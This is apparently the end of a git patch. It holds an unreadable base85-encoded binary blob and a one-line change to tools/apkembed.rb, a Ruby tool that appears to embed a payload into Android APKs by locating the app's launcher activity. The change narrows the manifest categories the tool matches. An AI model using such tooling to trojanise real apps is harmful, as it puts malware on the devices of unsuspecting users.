zW0ci$iU9j5Fw3$7iQaHS66x_e!*qxRIa8-x5(TsDig~q*Hvx@3Z-_`B1f*{S1&934^b}V>i)W>vL)i8X>d(4V+yT_dw#+#^= zZY&B+@>q5GSH5SUyI8Spy)CA6+@fGcP#4V12r_hY#xt!>)K=mgOG}5zDl%lBrj5XBVWtXly{FdSbxwb@u1b-dBGTwfIqk;@(ttj<`wVzLb1SCi`PY@`uu=L}H#U zRChjXH1 zlT=imCeV!oGr^&MO>F!JLS4C;N+I&>C4>(+@wq?2`y3&)kL0t1f3Ewq7B?({)XnqL-!=!?=yuAX_57mP) zNY*jiOW_5jRAU#FA^Gszqe);c6;o%Rj$wUqf*eC%p%y?&^HDvd{qZoLT&B}Bk?Ka$w5*~>diA8iVbt>gs9XM5cbR}j_RuNe8SZ0`kxKc8Pg z%;!IlekHnWuo$WJi(+RUBfJ|iDO)|gM5quP5Koz*sgqJsDYddvURy3z_K!k?k|PMi zhANcfnxf@uEjk_0FvkRv^RYf`w( z4B?c(A0{&53P>=#mq)7IZd=uhu6_cT;;$>)r$>pn1Nuo$yC8GrD%$-;F7Ko?L-o`m z6oWtH6tP~03HW0H8W(4X!AFU}yaWwhqfhQ+)sGs}ufH#8+Pu+MLl_7MCWQanB~A99 zFX?yUj%McnEbi=;Iu!dw&~w~Rmw6BnLbMRyAtLg_I8e|_Y|FfrkH8kimUVAdI;0qG zeiDi3DG)2zf&$YHtSHY;oW|~3c=U7&3qek>*3EqFj)cM*4sp=b@-o0^Y?@BkgGSWu zRxPinK_D6Sdv|!lm=>~~E4Sy@g<^j7wl4&SgQZ?3jq0n*qCa}o8ji^q9F}Nqk8;EB zMf^eInRo1!(J~ul`=--)#hp0@b^{HE{e5wfSbY*j&WYvAl?FnOn8L)+Ey?ZT zig(PqX6Hg18C0MbUO%_PJcu+d!`{Ohe@D5+{~yJ*5d3f=9wY>W)35ih;`-kcA^Cqf zV+nK9zfSpV*$b$?fCF*qx-pUcp2Ly4O~-JA6!UE+vRP0Fc?cH~SG@#rub4W!EG$CE zyLVWGUsV&-<)W2s=@6M2$0AB})70e`m>1J@ZQrlz+UotXjyClo2ia-fWatM!|L2EV z{|VoF&x^K4pBtCtQ8jT(Qn)~u4C}yY6l(1DUKoE1c8*ZG4^f$zP;$I19G{54s_1FW zDeHxQ;##B}7%W)OTF`*2#8s{qZ2j_r2wlYO2(Xk^dN+@ugJE-lvKn?I*?*G8T&s({ zYXvV_dMA@{4OoNuN?>!LOJsv8UAA-D9M?RePY*sOszlQIHqVt?Jx}AWq9+ZMy$IWP zy02GuCn}FW41Q*gv~GcgM!r<-4^uW0cPy%Wk7>86KyudoAhwb*v#|ah^Ze-Z z58v2@A3rJ)wN#uvycSq$-3u*GB$-5WhTo14;Z zrB+ttKLAK&LS;!aAR*C!y(d9D7R07O*CL3tAu(w9Jayb_Vt9*yM?wa#V}8EAb*{6| zd3jFpaP&aC6}Z^y$RA76F4c8e4%(&q?2@?#ta(B_$wGEevtD}YatFDxq-cofm}OO> z6oayOgQF={o2rV50*NePF8n`aLpj-V3(kxS-v>^=vRb{+1smU3(jF{AZSf)8(efyM z6oN1`ywzk!+lxGZ0qqEsF>ODHE@&XlN{Xif@UYYrRZ z4<|Kap1HDab;AJXr_c=Ppin?X;+NLOvf3rfX}1?pqHXRAnel%Jb#OQ;;ce3^X4LXG;U(Qo65N+jTM4C(nwX*G z+if_7GtSurEjtq2c0Mp2ylp*$sw3*yFL>mO%=eZnPT5y$Pg^Zi=HgooSP!GcjvK6B zs*_1ytP_l>A<=Wc4Tnh=NpSlZ=@21~g?VJEF!*j{$ZSLs36T{hiWO(<3k3Z)xMyu> zpD*~R9}tN9Re9pnw#gZTr4MI#qFuMRa^Mb}ggRq2SYsB-Oi{A5qYe35v94Su20}B! zqrZhm*Wsrd)4@9PG53455}!E1G*uPd)9c5^;ty3i3mOI!eIe+m!*TqSmF$(KP$v(Xaqvz6snbVIsadfy zWfg?fdchfDL(>YHuA_ANjK6O(u6Ra`y){X_bgB?OC$0>QubqlN1c| zb}l7Z;+of-4H@4jh`A)D_CNv_LTcue6=xE$it~ICe8JjV?}SQtx)q!yyFgjvsnPmn zYr7QYNztj{`URb4!BLd8%2&Ip#Ul(FZwS;QciB@Vn6*ZC5zP~|%CWC^Y=~t&GxdvS zN2E4Z7ACkRnkH;YA`!~n>UGQ$nCO%3G<3|g&691_QN3~rm1;EF%(BNQm&y@#y}1(Y zw30_q=<`pNVa!Ue6Ada7*2y-dhwOVr{lNB** zeMFr>Ki@T^{=`m%SRFV6#ez`ljGh{S$*pQnF|G1XRbXD{7GOiG^csV|VW;HNM_?sb z(m5YY<=g|z26g~N1ZX$NH|RE~Hke2;(W0dX3PFOPE)W|V{RRyw-US{RI@|zDG+Go| zq!ETv1kIot$l6)?sRH~390BIKiUGS{sa&yLIbRWh-VZuPZsO*n_fQJa`D;Dp0X3hx z!6{&`MYBZoU<5F{DEg{Ab%Eio zsIKBc`2*>L!qEX3Mi{U3FMy{GFxpiF{T+Pcu?h zzsDKw>2bX{Uk~WT=!D#je`W2Xr+8C|F98FoB7#hW`2~gX6jyV}puPjYF}8`L@hIPo z&r258hRdG4UxC^l6NSs(&OTcqi#oHJ#eQzIaqg~MDO2dS+@k291xYR?W4D}TJ@;qM zChz@||H1Ud#%7n}CirL?a=vg_EEf)@%(FinHa2ibG1h=Emav2Ce9mfi+4Qr{_%k6B zuCCz7c#TtUFn6Qgq4K4N`&}c7`&z(m(1sAqLV3bmRz&ISXJET9c6JOtW{=3%?~8NZ zyCT_dNNiO`CT+ygnwxIV9PuhMQ6)_g({K$ETR)m|vJogT0Q(|8M=J9W$HtEy2kVFn zTw5^`#z&;n7RthC(Q>nq5=M@Me2h}2$B`{5Od1HXqUXen4x#c@<0J*VAOBQ;qb;w| zBVh*!F%Ruz)+w{R-j#VrFyEczZ^XyxUBJ(oI8zLR8#U<7&gpK(F36U79-W85(oo+Z zXVXNT6geY9PerFrYI}4_T$O}v04S^*bdoBL+dGn1pq8dQQ|an%p-PE@K5ijF%SDuJ z{|w~Gj0m%(o}1AI+$EvmET4yj;6S1r-bHggdYamsPZnJ}bOeNmLu^Hq;Z zdC`6^-8}^qNV1DPqAvEO4L<9as?wmH{W(7%c2$@4ERSL*PmLu@hWfSHX*rzPjRCtB zyNs)&)l`KKD^qdQf`+Yyi8qnC2R!EWSXo?&TelIhAC>y`0>In2JW%~CftwWgl?g6T18eov+C>SXxQmeiqV zrvg6SsK)2{MQbY~C>qJ^%_QZ)p2ARes6WtbnR?%&_2_L>8CLcY`WrX=@G>Ila=7RD zXg0nmxvN)p0i;>NezDYgv*u4WqNndsis07szpiB0%}Q5O#8)3Op{#za{@yGrFZ&WG zeN5&#xXkhN(TZLzL+#xmxd~UZ`7=p_(+F%oIQ_Q2Yn7bSgFiNqDmW*wl5>lhfyALC zP}=R{rhW)(?-r!Vc6+=0}r`BX`urS?i9O{eck$;L+XOQ+Cf_R!JF^) z8RCU!+&?B(;wR>#yjmig!+0aN?{-Fy$GHM>J*+wm$hZ@BkS?M_h`rE@@C*p3jjzUfY5i(5Xgj|Q(L0XVyY zY~4mP$6zN-$`v-fF`Go0Pwq5o-F_-&uN8=nI+0dBHRlBJ?jy+$=U$H!!Q6WB9GQTv z;JrAJv!!;Ii6rSl>(b&1BNace06qn)0z(wHIsGtikZrL+6KX z3HRV;Z`T@EmvaI}4Tz9isHrJzxfH%8{E3cJfKma&8|ufPklNCKdGIynM(Y0ffNY@MTi9NR)9WnYFo(o*YmoHm^qfB2R;aXtfa(v(N7(44Z^$wnW zh4gR<{{{*c!}CO3_mw%^?iXY6MDSZ}YZ$ue;uWC95nTKN<5 z^W<}%4_MTMT=*R$2-1WN4ROgyM!S!)Pn8rW%~@M}3S(RM<)afxJi^jVs}q!TDACW> zFCUfQ-#aS+S@N+R_FKOsVfE4Hp+Ee@*v3^vY;lp(p0wWP&cj~3q}%rJSJxg_>m%{i z)gHDC`O#^x+}qR#ae;om%eT#3gU9U>?DQTkoJlKyO_ev}=~&igM4$#W!7*RJplq`Bthaljlx9>bzR%EW2vLHR z)8G~6H+x~Qr5aE6E8FIx{LZ$JZ?GZ$uD$;sVg0xE{&)MAnEqRd|996v)$rfS`(Gyb ztNAb2KXmv%Bm7p)|Kz@ZtLA@M|F7o%hlc*=M86q?Klz*ARQg|r_lwc_uf+PlhxwDD z_)YfwWu3p+`~MK;PwMC2gZ+ttezO{X*<1Ag9PDo#$G?aB^CSN~95ViY4)-@0r7RBv S`+Eg&zaIQwKZN%`_V+(4zk^=@ literal 0 HcmV?d00001 diff --git a/tools/apkembed.rb b/tools/apkembed.rb index 0351a8d..df9afdc 100644 --- a/tools/apkembed.rb +++ b/tools/apkembed.rb @@ -23,7 +23,7 @@ def findlauncheractivity(amanifest) end for cat in category categoryname = cat.attribute('name') - if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN' || categoryname.to_s == 'android.intent.category.DEFAULT') + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') activityname = activityname.to_s unless activityname.start_with?(package) activityname = package + activityname